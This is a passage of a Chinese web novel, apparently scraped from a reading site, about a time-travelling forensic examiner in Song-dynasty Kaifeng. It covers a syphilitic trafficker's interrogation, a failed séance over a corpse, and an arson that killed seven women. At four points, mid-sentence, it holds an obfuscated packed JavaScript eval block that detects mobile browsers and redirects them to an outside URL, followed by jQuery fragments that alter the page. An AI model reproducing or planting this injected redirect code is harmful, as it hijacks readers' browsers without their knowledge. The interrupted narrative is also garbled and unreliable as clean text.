他于媒婆张合作多年,却无丝毫情分,若不是府衙来人太突然,他会选择先下手。经年累月的情分哪有闭口的死人靠得住。
王遂穿戴好,从床底拖出一个大箱子,里面都是“戏班子”这趟骗来的钱财,他得叫一辆车拉走,这些说不定就是他未来很长一段时间的全部身家。
至于“班子”里那些姑娘们……这怪病染得无声无息,恐怕她们很快就会跟自己一样,容貌都毁了,还留着作甚!
02
王遂将那箱子拖到房门口就已经气喘吁吁,时间耽误不得,多待一秒就多一分危险。他用罩面将自己从头到脚包裹严实,跑出百花楼时还是被阳光刺到了眼睛。
太学马上下学,他正好趁乱神不知鬼不觉离开。正巧门口经过一辆牛车,还带着棕木棚,可以将自己和箱子掩藏起来。
王遂上前拦下牛车,要去城外船坞码头。司机却摆手说他今日有事不拉车了,请王遂另寻车辆。
王遂环顾四周,目之所及也未再见这么合适的车辆,于是愿意加一倍的钱。但司机仍旧不接,说自己真的有事,加多少也不能拉他了。
王遂一跺脚,出价三倍,司机果然犹豫了。
待牛车赶到百花楼前,王遂要师傅上楼抬行李下来,司机师傅扭头就要走:“我真有事儿,跑上跑下又要耽误时间,这趟活我真不干了。”
王遂咬牙:“四倍!够你绕着汴京跑上几圈了!”
可那箱子着实沉重,司机师傅一人也搬不动,又叫了路过的人帮忙一起,钱自然是要付一些的。
好不容易将箱子移上车棚,王遂也钻了进去,不一会儿,牛车便晃悠悠启动了。
03
这牛车从外看上去,车棚低矮狭小,里面却意外的宽敞,三面长坐,足够四五人围坐一起。
中间空出的地方足有一人多长,还铺着白色的单布。
室内干净,值得一个五星好评。
许是泡汤的关系,王遂这阵有些疲乏,跟着牛车晃晃悠悠,不一会儿就睡着了。
再次醒来时,时间似乎已经过去很久,但牛车仍在晃动。
“你这车夫,莫要同我耍泼皮无赖!船坞码头步行也只需两三刻,我允诺你四倍车钱,你还敢绕远!”王遂愤愤起身想要揭开围帘探个究竟,却发现四周都被封牢,他像是被关进了一口棺材中!
“停车!”王遂大喊,不断用双手拍打车棚,他浑身是伤,皮肉又十分脆弱,几下便多了新伤口。
太熟悉了!这个场面太熟悉了。王遂猛地想起,当年他与媒婆张就是用这样的方法掳劫了那些出阁的新娘!
“你是何人!与我有何纠葛?不如停下说话!你要多少银两,我照给就是!”
04
开封府衙内。
众人围在院中,看牛牛司机赶着牛车一圈又一圈转悠。
两头牛牛显然也很纳闷:耕地的老牛也不是这么使唤的!
听见王遂在里面大喊大叫,甲丁皱眉噘嘴啧啧叹息:“真是轮回不虚,报应不爽啊!当年他使这等卑劣手段,如今栽在了同样的计谋中。”
宋连附和:“所以说,人一定要跳出舒适区。惯性思维要不得啊!”
牛车转了几圈,傅濂便要它停下了:“行了,你们要让他恶有恶报,实则是戏耍多过惩戒,闹也闹过了,该干正事了!”
牛牛专车停在院子中央,几个衙吏上前暴力拆卸了车棚门档。阳光涌进棚内,传来一声尖锐的惨叫。
良久,一个被黑色布料包裹严实的人缓缓钻出,被衙吏当场按在地上。
“你、你们要、干什么!”王遂喘着粗气大吼。
甲丁两步上前,扯下了王遂的罩袍,一张斜嘴歪鼻、布满烂疮的脸暴露在阳光之下。
宋连登时想到李士卿“装神弄鬼”时念叨的那句“我对他那处长了什么没有兴趣”,慌忙冲甲丁大喊:“离他远一点!去找地方洗手消毒!”
甲丁没反应过来,愣在原地。
“他有传染病!治不好,会全身溃烂而死!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034857|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这话一出,整个院中的人统统向后退了几大步。
05
一间临时辟出的“审讯室”里,王遂被绑在一张座椅上。宋连坐在他对面,隔着五、六米距离。原本他想独自审问王遂,毕竟梅毒在一千年后的现代都很难医治,更别说北宋。
但甲丁坚持要跟他一起审讯,理由是自己已经碰过王遂的罩袍,若是要传染也已经在劫难逃了,不少这提审的功夫。
宋连拗不过,加上他至今仍需要有个翻译实时同传,否则好多话他也听不明白。于是他和甲丁全副武装走进了审讯室。
但没想到李士卿也跟了进来。
宋连和李士卿对视好长时间,两人谁也没说话,最后宋连放弃劝解——这家伙有洁癖,想被传染也是有点难。
其实他心里还有另外一个想法。
虽然他始终不相信李士卿所谓的“神通”,但这个神秘的李公子身上的确有那么点玄乎的东西存在。
他总能算出关键的节点和位置;在方桂儒的死亡现场似乎也早预料到这是一场谋杀;他对着空气神神叨叨却说出了许多本无法知晓的关键信息。
梅毒在北宋出现本就是一个违背历史事实的现象,兰香患有梅毒这件事他没有告诉过任何人,李士卿又从何而知王遂带有这种“隐疾”呢?
恐怕很多事情不能全以他“人脉广”、“好八卦”一概而论。况且这家伙高冷的一批,完全不像是喜欢八卦的样子。
李士卿让他住进自己的宅院很显然是在有目的的监视他,那么他也应该反向观察这个神秘房东。如果没能为刑侦事业做贡献,至少也为拓展科学边界做出了努力。
06
“坦白从宽抗拒从严!”宋连想要给王遂一个下马威,换来的只是王遂迷茫的眼神。
“你身上的恶疾,是如何患上的?”
无论怎么审问,王遂就是一言不发。他盯着手臂上绽开的皮肉,一会儿阴郁,一会儿又咧嘴笑。
“宋检法……你说这王遂会不会也被夺舍了?”甲丁小声询问。
宋连气笑:“夺舍是什么很没有门槛的事吗?”
甲丁:“那……会不会也是那个解离什么什么症?”
宋连看了甲丁一眼,觉得老古人的脑子里一下涌入太多新知识果然有副作用,看谁都像精神病。
“王遂,我们已经掌握了你所有的犯罪证据,你现在交待还有宽待的机会……”
“宋连,”王遂突然抬起头,冲宋连诡异地笑,“我听过这个名字。你不是死了吗?”
46.20 信天神,得永生!
01
“宋连不是死了吗”这句话可以有很多种解读。比如宋检法被鬼夺舍了,也能勉强看做是他“死”了。但宋连听到这句话的第一直觉,是王遂在说那个死在展览馆里的、真正的宋检法。
“大胆!竟敢辱骂朝廷官员!”甲丁想要冲上去揍人,又想到对方有传染病,迈出了半步又退了回来。
王遂似乎对宋连的微妙反应有些得意,失心疯的表情突然又变成了正常模样。他被捆缚着的身体向后靠在椅背上,懒散地说:“你们说我杀人,有什么证据?”
甲丁觉得这人真的疯了,这还需要摆事实讲证据吗?事到如今认罪就完事了!
“你在百花楼边的巷子里打死了兰香,百花楼老板可以作证!”
王遂哼了一声:“她诬陷我。”
“诬陷你?她为何要诬陷你?!”
王遂:“那我怎么知道,你该去问她。”
甲丁没想到板上钉钉的事还会遭到凶手反驳,又说:“你与老板娘,也就是媒婆张多年前合伙行骗,专对新娘下手,柳含烟就是其中之一!”
王遂:“满口胡言,我的确给百花楼送过几个姑娘,都是你情我愿的事儿,至于行骗,子虚乌有!”
“陈莲儿欲金盆洗手,你与他发生争执用刀捅死了他!他挣扎时在你手臂留下了抓痕!”
王遂再次亮出两只血肉模糊的双臂:“宋检法都说了,我身患恶疾,你如何证明这伤口是他人所致?”
“陈莲儿与方桂儒手指上皆有你的血肉,还敢狡辩!”
“血肉?”王遂笑道,“上面有我的名字吗?你们提刑司断案,从路边随意找些污泥就能定我的罪名?你说了这么多,却拿不出一样证据,还将我捆缚于此,是要屈打成招吗!”
02
甲丁身为衙吏,之前干的都是些杂役的活儿,对当朝刑法没有做过深入研究,理所当然认为认证物证都有,王遂难逃法网。
但宋连研究过了《宋刑统》,尽管早了近千年,即便刑侦技术还非常落后,但北宋的刑法已经有了超前的人文意识。判定刑事责任需要层层审核复核,并且做到了权利分割,确保互不干扰。
最重要的是,宋代刑法对证据的要求已经非常明确,他们目前掌握的只能叫线索,还形不成明确直接的证据。
如果这样提交上一级复核,势必要被打回重审不说,傅大人在朝堂恐怕还要被参上好几本。
宋连重新审视起面前这个病入膏肓的人。他狠辣、狡猾,并具有反侦察意识——他去地愿寺带走方桂儒的时候甚至没有留下丝毫痕迹;在杀害陈莲儿时还穿上了方桂儒的鞋刻意制造伪证;甚至还在方桂儒手臂上制造了抓握的淤青。
别说是王遂,就是放在千年之后,大多数凶杀案的凶手都很难关注到这么多细节。高智商犯罪是极少数的,并且也没有影视剧里那么“巧妙”。
“王遂,你现在是重大嫌疑人,即便没有直接证据你也得在牢狱中等候审讯,何况我们现在已经掌握了足够多的线索。”宋连向王遂走进了几步,“媒婆张就在隔壁关押,百花楼的姐儿们也都还在,还有你那戏班子里的姑娘们……你还是不明白,我们已经掌握了你所有的人际网络,就等于掌握了你犯罪的证据,只是时间问题。但问题是……我们可以慢慢来,你等得了吗?”
宋连看了眼王遂的手臂,俯身又向王遂贴近了一些,小声说:“我知道你这疾病从何而来,传染给你的人一定没有告诉你,这叫梅毒,你已经是晚期了,你会眼睁睁看着你的皮肉一块块剥落,最后死于全身感染。没人能救得了你。但我可以想办法延缓你的死期。”
宋连与王遂离得太近了,甲丁本想阻拦,却被他的表情震惊了。
他从未见过宋检法这幅模样,嘴角上挑,笑容邪魅,但面容却阴鸷极了。与对面那真正的杀人凶手相比,眼下这宋检法倒更像是奸邪的恶人。
“坏了!宋检法体内的恶鬼显现了!”甲丁呢喃一句,却感觉身边有白影飞快窜出。
几乎是一瞬间,那白影拽住了宋连向旁边一拉,堪堪躲过了王遂突然吐出的口水。
王遂偷袭不成,反而大笑起来:“死有何惧!不过是新生的开始罢了!我已获得永生,现在这些,不过是我褪去肉身,脱开凡人之躯罢了!天神降临,接引我等去往永生极乐。”
完了,这人不是精神错乱就是加入了什么传销组织,宋连根据他全身症状判断,恐怕已经伤了大脑,出现幻觉了。
王遂的眼神变得更加犀利:“今日之前我的确怀疑过天神威力,但我亲眼见到了你,宋连!若无天神之力佑护,你是如何能够死而复生的!”
接着,王遂又陷入了疯癫,嘴里不停默念天神威武之类的话语。
李士卿抬手一抛,也不知对着王遂做了什么手脚,王遂逐渐停止了疯言疯语,两眼一闭,脑袋垂下,睡了过去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048899|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“宋连,”
“宋检法,”
宋连还沉浸在王遂那句“死而复生”当中,隐约听见有人喊他,才回过神。
李士卿还拽着他的衣袖,盯着他看,仿佛在戒备他“体内的恶鬼”,随时准备除祟。
“嗯?你叫我?”
看宋连回神,李士卿松口气,说:“王遂昏过去了。”
“哦……”宋连整理了自己的情绪和思路,大脑快速运转,说:“他这病不但传染性强,还无法医治,需要单独隔离,他用过沾过的东西都要烧掉。”
宋连看了眼王遂吐在地上的口水,说:“这里也需要消毒处理。”又走到甲丁跟前,检查了甲丁双手,确认没有创口后,说:“你没有伤口接触或黏膜接触,也无血液接触,应该不会有事。”
但还有更严重的隐患:“甲丁,我们需要对媒婆张以及百花楼内所有的姑娘进行检查;陈莲儿和方桂儒的尸体也需要再次检验。”他转身看向李士卿:“那日你为方桂儒做超度时,有碰触到他的任何伤口或血液、体-液吗?”
李士卿摇头:“并无。”
太好了。有时候人过于洁癖也是能保命的。
“还有一件事……”宋连对李士卿说,“虽然我不知道你是怎么做到‘神机妙算’的,但现在顾不上科学不科学的问题,我需要你帮我找到‘戏班子’所有姑娘的下落,她们很可能带有和王遂一样的传染病!”
03
“我不能。”李士卿几乎没有犹豫地拒绝了。
宋连:“???”
不是,我不信你的时候你专门跑上门来给我普及封建迷信学说,现在我半信不信了你自爆了。你们北宋神棍的精神状态都这么不稳定的吗?!
“我能找到方桂儒的方位,是因为他带着我的纸符。但戏班子的姑娘与我素未谋面,身上也无任何可以利用的信物,以我的修行,做不到。”
理由合乎逻辑,原因十分科学,你还怪诚实的哩!宋连生生把一句“我信你个鬼”咽了下去。
但时间真的太紧迫了。宋人对梅毒根本毫不了解,更别提预防,一旦爆发,后果就真的是不堪设想了。
关键时刻,甲丁提出了一个不靠谱但却有可能的想法:
方桂儒和柳含烟她们行过夫妻之实,你说……她们会不会还留着方桂儒的什么东西?
宋连又看向李士卿:“你说的信物,包括生物检材吗?”
47.21 业风已至,下堕就在一念之间!
01
按照李士卿的理论,要实现追踪必须要有一样与他有关联的东西作为介质。像符纸这样关系直接有具有强功能性的介质当然是最好的,如果没有,次一级也要有强因果关联的。
思来想去,只有方桂儒最合适,问题是他现在也成了一具冰冷的尸体。
悲伤的讣告已经通过驿站传递至方桂儒家乡,但他的父母是否能收到、什么时候收到、会不会来领他回家,却不得而知。即便他家人收到讣告后立刻启程,恐怕也很难见到完整的尸体。更大可能是由公家安排下葬,届时他的生前好友几人凑钱再为他立个简单的墓碑。
由于缺乏必要的防腐技术,方桂儒的尸体已经开始腐败,恐怕连三日也很难撑到。
李士卿站在停尸间门口,掩住口鼻,十分犹豫。
“李先生,情况真的非常紧急。你知道我从来不信你这套鬼鬼祟祟的说法,如果不是万不得已不会寄希望于玄学。”宋连有些着急,也不管这话说出来当事人高不高兴,“我可以毫不夸张的说,这件事恐怕会关乎到朝代兴亡!”
但闲散如李士卿,对朝代兴亡似乎完全没有兴趣。
宋连原地转了两圈,恍然大悟:“我懂了,你不是不行,而是不敢。”
这句话似乎戳中了李士卿的神经,他瞪眼看着宋连,突然两手一甩,阔步迈入停尸房。
02
方桂儒的尸体装在一口漆棺中,覆盖在白布之下。尽管四周都以冰块降温,仍散发出无法用言语形容的难闻味道。
李士卿几度想以袖遮盖口鼻,但这样会妨碍他施展术法,只能强行稳定自己的呼吸。
屋内只有他一个人。宋连说得对,甲丁的提议是可行的,只是他能力不够。但他不能让宋连看出来,因为他还没摸清这个假宋连究竟是敌是友。
他曾与宋检法有过几面之缘,以他识人见性的本事,几句话就能知道那宋检法究竟是个怎样的人。可再见面的时候,这位宋检法完全像是变了个人。结合当初那个真宋连与他说过的种种,他马上就判断出此宋连绝非彼宋连。
无论是互换肉身,还是灵魂夺舍,都只说明了一个问题:这个假宋连既然占用了真宋检法的身份,那么真宋检法恐怕已是凶多吉少。于是他想方设法让宋连住进了自己的宅邸,在他的房间里布下重重结印,目的就是为了监视观察。
可他却看不到这假宋检法的三魂六魄,更追溯不到他的前世今生。
宋连是他从未遇到过的奇异现象:非人非鬼,非妖非怪,颇有一点超出三界外不在五行中的意味。
此人若是良友,则天下太平;若是敌人,恐怕将会有一场腥风血雨的大震荡。
在确定对方来意之前,李士卿必须要保证自己不会先露出底牌。
他看了眼棺材里的白布,突然想,如果是那个人的话,应该不在话下。
他伸出手,想要碰触尸体,突然想到宋连再三叮嘱尸体很可能有传染病,千万不要碰触,于是又收回手臂。
他掏出几枚符纸,闭上双眼口中开始振振有词,让符纸代替他接触到方桂儒的肉身。随着他施咒的声音越发高频,几枚符纸开始小幅的抖动,振幅越来越大,最后“砰”的一声化为烟尘。
李士卿募地睁开眼睛,瞳孔变成了鲜红色,像要滴出血来。视线开始模糊、扭曲,耳边有阵阵风声,然后传来叽叽喳喳吵杂的声音。这些声音由远及近,最后落在李士卿耳旁。
“相公,你站在这里做什么?”
李士卿发现自己正站在一处庭院中,四周仍旧模糊扭曲,看不真切。他顺着声音扭过头,看到一烈焰红唇煞白肤色的女子正瞪大眼睛盯着他。
这或许就是柳含烟了。
女子见他半天不语,娇滴滴摇着他的手臂:“方相公,这好些美姐姐陪,你怎么还发呆呢?”说着咯咯笑了起来,血红的唇缝中露着白生生的牙。
李士卿不喜欢与人太近,更别说产生肢体碰撞,于是推开柳含烟,向旁退了一步。
但柳含烟跟着迈步追了上去,又重新抓住了他的胳膊,这次用了更大的力:“相公,你怎么了?是我哪里做错了事,让你烦腻了吗?”
话音刚落,四五个艳丽女子突然出现,鬼魅一般自四面围住了他。
03
四周是尖锐的笑声,无数双手包裹在他身上。李士卿觉得脚底变得软烂,像是正在陷入泥潭。
他闭紧双眼更大声的念咒,尖利的笑声变成了严厉的怒喝。
“你这般愚钝,留着也是有辱我李家百年世家的名号!冥顽不灵,愧对先祖!”
“有大哥撑起家族百年基业,你自管逍遥,再莫要想些天方夜谭的事情了。”
“李家自前朝起世代辅佐帝位,如今又出了这样的奇才,真是光耀门楣!而你……既然无法入境,便不适合留在家中修行,不如出去游历。这并非是将你逐出家门,你也无需憎怨于谁。记住了吗?”
“做闲云野鹤不好么?游山玩水,见世间百态,也不枉此生。何必执念于家族的认同?”
回忆在脑海中不断翻腾,搅动、撕扯得李士卿头痛欲裂,他仍在不断下陷,陷入自己的执念与恐惧。
他的瞳孔一片漆黑,眼眶鲜红快要滴出血来,冷汗从鬓角处一绺绺淌下。俊美的脸庞因为极度痛苦而扭曲狰狞。
“有创伤应激症的人,由于海马体萎缩,削弱了对威胁的理性判断,边缘系统持续激活使身体处于‘随时反击’状态,往往会对周围反应产生一惊一乍的应激,表现为双臂交叉,或对特定环境排斥。”
突然间,宋连的话出现在李士卿的脑海里。周遭的杂音瞬间减弱,他下陷的速度也慢了下来。
“方相公在说什么?莫不是又撒癔症了?”柳含烟及一众姑娘们也停下手里的动作,好奇问他。
周遭突然安静下来,李士卿微微一愣,接着便露出一丝笑容。
“科学是通过系统性观察、实验和逻辑推理,探索自然、社会及思维规律的知识体系与方法论。其本质是基于证据的可验证性,旨在描述、解释和预测现象。”他将那时与宋连争执时对方说的话原封不动重复了一遍。
周遭庭院和人又开始扭曲、抖动。
李士卿再次闭上眼睛,自言自语:“摒除杂念,专注于心,于千万变相中寻得本源,”他的手中不知何时多出一把铜钱小剑,在指尖与掌中转了几圈,便染上了血,他对准眼前震颤的世界大手一挥,划出一道漆黑的裂痕,接着便支离破碎。
随着烟尘落尽,李士卿仍站在棺材旁边,白布还蒙在方桂儒的身上,只是他不知何时坐直了身子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048900|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
04
“方桂儒!”
白布上端慢慢扭动,尸体循声将转头转向李士卿。
李士卿掐指念决,空中逐渐浮现出一张圆形罗盘,但它显现的极不稳定,像是随时都会消失。
“找出她们。”
李士卿的额头布满汗珠,巨大的精神消耗使得他几乎站立不稳,身体摇摇欲坠。但不论他如何指引,方桂儒的尸体就是一动不动。
李士卿将所有力量放于一手,口中咒语不停,另一只手腕快速一抖,一道符纸打到白布上,定在了尸体头部。
“你已身处中阴,留着嗔恨只会堕入下道!”
话音刚落,一声尖锐的嘶吼刺穿耳膜,一股强烈的飓风不知从何而来,吹起李士卿白色的衣袍。
他又使出更大的力量将自己挺立在风中,七窍渗出血来。空中的那个罗盘又模糊了一些。
“业风已至!下堕就在你一念之间!——方桂儒!”
风更加猛烈,自脚下而起,将周围一切都卷入漩涡中心,但那棺材与坐直的尸体却纹丝不动。
李士卿已站立不稳,在风中左右踉跄。他又打出几枚符纸,在空中留下金色的印记,但很快都消失不见。
直到李士卿的精力用尽,即将要放弃之时,方桂儒的尸体动了动,那白布蒙着的头微微偏了一下,一只手缓缓抬起。
罗盘缓慢转动,方桂儒停顿一下,像是在思考,又重新抬手,在罗盘前移动。可就在他即将指定某个卦象时,罗盘终于再也坚持不住,彻底消失。
李士卿退了几步撞在墙上摔了下去,飓风瞬间停止,方桂儒的尸体像是失去了支撑,又躺倒在棺材里。
05
宋连和甲丁在门口,如同产房外的家属,急的原地打转。无奈房间里什么动静都没有。
宋连甚至怀疑李士卿可能在屋里对着棺材摸鱼打盹。
好不容易从里面传出声音,“咚”的一下像是什么东西撞到了墙上。两人也顾不得李士卿的叮嘱,拍门询问情况。
良久,门被缓缓打开,李士卿依旧白衣飘飘谪仙一般款款走出,但脸色很差,唇色也惨白。面对两个人殷切期盼的眼神,他微微顿了顿,又遗憾摇头。
不得不说,虽然路子很邪,但宋连的确也抱有一些希望,现在免不了有些失落。
封建迷信果然靠不住。
宋连要马上向傅濂申请调拨人手,以曲院街为中心向外辐射式排查。好在戏班子人多,又大多是女性,在这个年代是很显眼的,应该很快就能有线索。
宋连再次懊悔自己鬼迷心窍,想走封建迷信的捷径,却平白耽误了宝贵的时间。
他大步流星向前走,忽听李士卿从身后叫他。
“宋连。”
宋连转身。
对方沉默良久,终于才开口:“或许……可以向西北方向找找。”
“是吗?你算出来的?”
李士卿摇头:“直觉。”他仿佛还有千言万语如鲠在喉,嘴唇翕动最终一个字也说不出来。
他从停尸房出来之后,情绪就一直不大对,宋连隐约感觉到了,但时间紧迫,他也来不及多想,只点了点头,说了声谢谢,就转身离开了。
却没看到李士卿背过去的手中,攥着被血染红的白色帕子。
48.22 天涯何处无芳草
01
接下来几日,甲丁带着人手在汴京全城搜索,李士卿自那日停尸房出来之后又仿佛消失了一样,宋连则连续好几个通宵检查重点目标是否有梅毒症状。
焦头烂额中唯一的好消息是经过检查,无论是百花楼还是媒婆张,或是方桂儒或陈莲儿的尸体上,都没有发现明确的梅毒感染症状。
但宋连也不敢掉以轻心,所有的检查都只能靠肉眼辨别,误诊率是非常高的,因此百花楼被勒令停业休整。但这也不够,已知兰香确定感染了梅毒,那么与兰香有过交集的恩客们就会有相当概率被传染,他们又会把病毒携带至更多地方。
宋连向傅濂提议过,要求傅濂上书朝廷,自上而下开展全民检查。但这个提议被傅濂再三思考之后驳回了。理由是宋连所说的这种疾病并未爆发,只凭借一个死人身上的指征就劳师动众,如果结果只是虚惊一场,相关责任人都要被弹劾回家。
而相关责任人不仅仅只有傅濂,还会波及朝堂中更多官员。
“正是因为现在还没有造成后果,才更应该未雨绸缪啊!”
傅濂却只是摇头,艰苦朴素的脸上好像又多了几道皱纹。这件事他没有再回应过,宋连也只能无可奈何干着急。
两日后,距离曲院街西北方向约三公里的东教坊发生火灾,尽管毗邻军器所,但因为火势很大,蔓延很快,禁军第一时间出动也回天乏术,厢坊近三分之二的民宅都被火海吞没。
火灭之后,宋连根据房屋烧毁情况确定了着火点,在一个宅院的一间堂屋。
堂屋里卷缩着七具尸体,经解剖确认全部为女性。且这些尸体正是起火点。
从火场清理出一些熔化的金银物件,虽然损毁严重,但一部分特征与方桂儒生前讲述过的那些“女鬼”们的首饰十分相近。
从尸体和金银器物的焚烧程度,宋连几乎可以判定这不是一起意外火灾,而是有人使用了助燃剂刻意纵火。
尸体的呼吸道及肺部都已碳化,没有扫描电镜与光谱仪,也不能进行一氧化碳血红蛋白测试,很难确切判断出她们在着火前就已经死了,还是死于大火。
宋连只能凭借经验,从其他指征来寻找线索。
他先打开死者颅骨内壁,发现了海绵状的血肿。这是因为颅骨受热导致骨骼中的血液被煮沸并压入颅内所形成的。说明血液受热时还具有血压和循环功能。
接着他检查了死者鼻腔。鼻腔位于颅骨深处,相比于暴露在外的口部和咽喉,它在一定程度上受到骨骼的保护。但死者面部受损极为严重,软组织全部烧毁,无法根据粘膜附着碳末确定死亡时间。
最后则是腹腔深处被腹壁、肌肉、脂肪以及其他内脏器官层层保护、还未被焚烧碳化的胃部。如此高温之下,胃内容物已被“煮熟”,但还未被烧毁。
宋连在胃内容物中发现了明显的黑色分层团块,是火灾发生时死者吸入浓烟,刺激喉咙气管导致剧烈咳嗽时,随着吞咽动作进入胃部的碳末。
这说明火灾发生时她们还活着!
02
即便是在一千年后的现代社会,火灾仍旧是“毁尸灭迹”的有效方式。尽管知道姑娘们是被人活活烧死,但在这样的情况下想要找到凶手,已经没有可能了。
非但如此,这场火灾还透露出一个信息:有一个神秘的组织团体,首领被称为“天神”,其成员隐藏在汴京城各个角落缝隙之中,过着十分普通的生活,王遂只是冰山一角。他们究竟有多少人,目的是什么,都未可得知。
百花楼老板娘媒婆张对此一无所知,唯一了解情况的王遂也在几日后病重而亡,死前不断念叨天神来接引他了,其他什么都没有说。
宋连将此案所有经过详细写成报告,由甲丁誊抄一份交给傅濂,并猜测傅濂极有可能筛选其中一部分上报给皇帝,而将另一部分隐瞒下来。
连续好几个通宵的他已经是身心俱疲,再也无力挣扎。只是甲丁还心有不甘。
“好不容易找到了陈莲儿,却已经变成一具尸体;好不容易找到凶手,却发现他背后还有更厉害的角色。”他用力拍了拍大腿:“岂不是只能眼睁睁看着凶手逍遥法外!”
宋连十分理解甲丁的心情,他想劝甲丁看开点,罪犯不绝,犯罪不止,这种事情还会持续上千年甚至更久,直至人类消亡。他也想告诉甲丁,再过若干年,等他经手足够多的案件,见识过足够阴暗的人性时,他也会变得麻木,不再意气风发,不再一腔热胆。
但话到嘴边,说出口的却是:“只要我们还能听到亡者之音,就要忠实记录和保留一切线索与证据,把它们一代代传承下去,时代会推动技术进步,总有真相大白那一天。”
正义虽然会迟到,但绝不会缺席。
03
李士卿已经很多天没有走出房间了。自从在开封府衙做法失败之后,他就把自己关在屋里,断食断水,辟谷修行。
说修行也不准确,因为几天过去了,他仍然没有降伏内心的躁动。他每时每刻都被脑子里千万个念头搅得心烦意乱,耳边各种各样窸窸窣窣的吵杂声从未间断。
他在宋连房间内布下了法阵,至今却一无所获。只知道宋连绝非鬼魅,但究竟是什么又无从得知。
李士卿苦笑一声,自己果然天资愚钝,愧对李氏家族。
他从蒲团上站起来,走到门口的时候停下脚步,低头思考很久,双手放在门栓上半推半就。
可他无法待在这间屋子里永远不出去。他需要接受自己的平凡与无能,他想。
两手重重一推,木门向外打开,多日不见的阳光突然照射过来,刺得眼前一片晃白,不得不闭眼皱眉。
待双眼适应了光线,再缓缓睁开时,模糊的视
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054990|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
线中站着两个身影,身后的凉亭里摆满了一桌饭菜,味道很香。
苏家两兄弟正在码放碗筷,苏轼一边摆盘一边喊:“他出来没?饭菜要凉了!”
“好巧,正要敲门喊你出来吃饭。”宋连一脸笑盈盈,好像几天前那些案件尸体都从未发生过,“快来尝一尝全能ACE甲丁的手艺!”
李士卿早就习惯了宋连叽里咕噜的鬼话,但现在他还是有点懵。
满桌珍馐,都是素食,苏轼嘴上说着遗憾不能吃麻辣兔头,但脸上已经笑开了花,趁人不注意迅速捞了一筷子放进嘴里,冲着甲丁竖起拇指。
李士卿恍惚坐下,苏辙的茶也煮好了,给他斟了一杯:“方桂儒的案子也算告一段落,至少杀害他的凶手也已得到了应有的结果,今天这顿饭,就当是告慰他的在天之灵。”
李士卿闭关这些天,郭大伟接受了复核,如实供述了郭氏之死的全过程,现已提交大理寺核议;方桂儒的尸身始终无人来认,寄去老家的讣告也没有得到回复,开封府无力保存尸体,便埋在了一处“公墓”,宋连和苏家兄弟凑了些钱,苏轼为他树碑立传;陈莲儿与那七具烧焦的尸体也下葬在同一片地方,他们从生到死都没有留下姓名。
无人提及李士卿做法失败那件事,仿佛它从未发生过。
除他以外的几人都喝的酩酊大醉,宋连端起酒盅:“方兄啊,这辈子有缘结交一场,我对你有愧!祝你下辈子投生个好家庭!才高八斗学富五车,学业有成事业顺遂,家庭幸福和睦美满!”随后手臂一甩,将酒泼向天空,“就是下辈子别再做恋爱脑了!天涯何处无芳草!”
苏轼晃晃悠悠起身,在宋连面前比了个拇指:“宋检法,好句,好句!”
宋连推开苏轼的手:“不、不是我写的,是苏——”
“宋连,”李士卿打断他,“酒不可多饮。”
宋连迷迷糊糊下意识比了个“嘘”的手势,又做了个“OK”,就彻底断片了。
04
梦中,宋连又来到了那片荒林,依旧是一片漆黑。
这次他不像上次那样慌乱,仔细观察了四周,除了数不尽的树木,好像隐约能听到有水流动的声音。
很遥远,不真切。
他犹豫了一下,便迈步朝水声的方向走去。
——<艳鬼案·完>—— 艳鬼案·完>
49.00 楔子
01
大雨倾泻,雷鸣电闪。
雨幕中一个身影在仓惶奔逃,敝履趿水的声音被淹没在暴雨中,隐约透出一点急促的节奏。
这疾行的男人时不时看向身后。
天太黑了,什么都看不见。
天象怪异,明明已经入冬,竟然还会下起这么大的暴雨。
雨太大了,泼在身上一层层刺骨寒凉。
那黢黑的雨中似乎有什么晃动了一下,男人像是受到了极度的惊吓,踉跄着向前。
突然,他脚下一空,身体失重,垂直着跌入深渊。
02
暴雨持续灌入,灌进了男人的口鼻,将他从昏迷中呛醒。
